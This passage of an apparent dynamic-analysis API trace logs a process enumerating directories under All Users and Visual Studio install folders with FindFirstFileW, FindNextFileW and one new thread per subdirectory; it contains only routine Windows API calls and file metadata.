lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0066.047] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2=".") returned 1 [0066.047] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2="..") returned 1 [0066.047] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x97ab5e8 [0066.047] wcscpy (in: _Dest=0x97ab5e8, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.047] wcscat (in: _Dest=0x97ab5e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.047] wcscat (in: _Dest=0x97ab5e8, _Source="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0066.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x97ab5e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf84 [0066.049] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0066.049] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2=".") returned 1 [0066.049] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2="..") returned 1 [0066.049] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x97ab680 [0066.049] wcscpy (in: _Dest=0x97ab680, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.049] wcscat (in: _Dest=0x97ab680, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.049] wcscat (in: _Dest=0x97ab680, _Source="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0066.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x97ab680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1078 [0066.050] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0066.050] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2=".") returned 1 [0066.050] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2="..") returned 1 [0066.050] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x444250 [0066.050] wcscpy (in: _Dest=0x444250, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.050] wcscat (in: _Dest=0x444250, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.050] wcscat (in: _Dest=0x444250, _Source="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0066.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1074 [0066.051] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0066.051] FindClose (in: hFindFile=0x4400e0 | out: hFindFile=0x4400e0) returned 1 [0066.052] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e6c0) returned 1 [0066.052] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444e60) returned 1 [0066.052] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445130) returned 1 Thread: id = 694 os_tid = 0xb98 [0051.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402528 [0051.037] wcscpy (in: _Dest=0x402528, _Source="C:\\Users\\All Users\\Start Menu" | out: _Dest="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu" [0051.037] wcscat (in: _Dest=0x402528, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Start Menu\\") returned="C:\\Users\\All Users\\Start Menu\\" [0051.037] wcscat (in: _Dest=0x402528, _Source="*" | out: _Dest="C:\\Users\\All Users\\Start Menu\\*") returned="C:\\Users\\All Users\\Start Menu\\*" [0051.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x431210 [0051.037] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\*", lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.038] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x431210) returned 1 [0051.038] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402528) returned 1 [0051.038] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402408) returned 1 Thread: id = 695 os_tid = 0xbd0 [0051.038] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409da8 [0051.039] wcscpy (in: _Dest=0x409da8, _Source="C:\\Users\\All Users\\Sun" | out: _Dest="C:\\Users\\All Users\\Sun") returned="C:\\Users\\All Users\\Sun" [0051.039] wcscat (in: _Dest=0x409da8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Sun\\") returned="C:\\Users\\All Users\\Sun\\" [0051.039] wcscat (in: _Dest=0x409da8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Sun\\*") returned="C:\\Users\\All Users\\Sun\\*" [0051.039] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x431210 [0051.039] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\*", lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4404a0 [0051.039] wcscmp (_String1=".", _String2=".") returned 0 [0051.039] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.039] wcscmp (_String1="..", _String2=".") returned 1 [0051.039] wcscmp (_String1="..", _String2="..") returned 0 [0051.039] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0051.039] wcscmp (_String1="Java", _String2=".") returned 1 [0051.039] wcscmp (_String1="Java", _String2="..") returned 1 [0051.039] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x440460 [0051.039] wcscpy (in: _Dest=0x440460, _Source="C:\\Users\\All Users\\Sun" | out: _Dest="C:\\Users\\All Users\\Sun") returned="C:\\Users\\All Users\\Sun" [0051.039] wcscat (in: _Dest=0x440460, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Sun\\") returned="C:\\Users\\All Users\\Sun\\" [0051.039] wcscat (in: _Dest=0x440460, _Source="Java" | out: _Dest="C:\\Users\\All Users\\Sun\\Java") returned="C:\\Users\\All Users\\Sun\\Java" [0051.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x440460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba4 [0051.613] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0051.613] FindClose (in: hFindFile=0x4404a0 | out: hFindFile=0x4404a0) returned 1 [0051.613] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x431210) returned 1 [0051.613] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409da8) returned 1 [0051.613] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab48) returned 1 Thread: id = 696 os_tid = 0xbd4 [0051.040] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x402408 [0051.040] wcscpy (in: _Dest=0x402408, _Source="C:\\Users\\All Users\\Templates" | out: _Dest="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates" [0051.040] wcscat (in: _Dest=0x402408, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Templates\\") returned="C:\\Users\\All Users\\Templates\\" [0051.040] wcscat (in: _Dest=0x402408, _Source="*" | out: _Dest="C:\\Users\\All Users\\Templates\\*") returned="C:\\Users\\All Users\\Templates\\*" [0051.040] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fed0 [0051.040] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Templates\\*", lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.040] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42fed0) returned 1 [0051.040] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402408) returned 1 [0051.040] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4028d0) returned 1 Thread: id = 697 os_tid = 0xbd8 [0051.070] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x442c50 [0051.070] wcscpy (in: _Dest=0x442c50, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies" [0051.070] wcscat (in: _Dest=0x442c50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\" [0051.075] wcscat (in: _Dest=0x442c50, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*" [0051.075] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fed0 [0051.075] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*", lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440160 [0051.076] wcscmp (_String1=".", _String2=".") returned 0 [0051.076] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.076] wcscmp (_String1="..", _String2=".") returned 1 [0051.076] wcscmp (_String1="..", _String2="..") returned 0 [0051.076] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3eb700, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a3eb700, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x257a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Project.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0051.076] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.Project.dll", _String2=".") returned 1 [0051.076] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.Project.dll", _String2="..") returned 1 [0051.076] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3eb700, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a3eb700, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x257a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Project.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0051.076] FindClose (in: hFindFile=0x440160 | out: hFindFile=0x440160) returned 1 [0051.076] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42fed0) returned 1 [0051.076] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442c50) returned 1 [0051.076] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423f60) returned 1 Thread: id = 698 os_tid = 0xbe4 [0051.080] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x43d888 [0051.080] wcscpy (in: _Dest=0x43d888, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies" [0051.080] wcscat (in: _Dest=0x43d888, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\" [0051.080] wcscat (in: _Dest=0x43d888, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*" [0051.080] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fed0 [0051.080] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*", lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4409e0 [0051.265] wcscmp (_String1=".", _String2=".") returned 0 [0051.265] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.265] wcscmp (_String1="..", _String2=".") returned 1 [0051.266] wcscmp (_String1="..", _String2="..") returned 0 [0051.266] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f842200, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f842200, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x337a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0051.266] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", _String2=".") returned 1 [0051.266] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", _String2="..") returned 1 [0051.266] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b54f00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x526bacf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50b54f00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x197b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0051.266] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", _String2=".") returned 1 [0051.266] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", _String2="..") returned 1 [0051.266] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57dc5d00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57dc5d00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x97b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0051.266] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", _String2=".") returned 1 [0051.266] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", _String2="..") returned 1 [0051.266] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x590d8a00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x590d8a00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x117a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0051.266] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", _String2=".") returned 1 [0051.266] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", _String2="..") returned 1 [0051.266] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ab3000, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56ab3000, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x9758, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0051.266] wcscmp (_String1="System.AddIn.dll", _String2=".") returned 1 [0051.266] wcscmp (_String1="System.AddIn.dll", _String2="..") returned 1 [0051.266] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ab3000, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56ab3000, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x9758, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0051.266] FindClose (in: hFindFile=0x4409e0 | out: hFindFile=0x4409e0) returned 1 [0051.267] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42fed0) returned 1 [0051.267] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43d888) returned 1 [0051.267] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4448c8) returned 1 Thread: id = 699 os_tid = 0xbf0 [0051.081] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x417e90 [0051.081] wcscpy (in: _Dest=0x417e90, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" [0051.081] wcscat (in: _Dest=0x417e90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\" [0051.081] wcscat (in: _Dest=0x417e90, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*" [0051.081] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4303a0 [0051.081] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*", lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 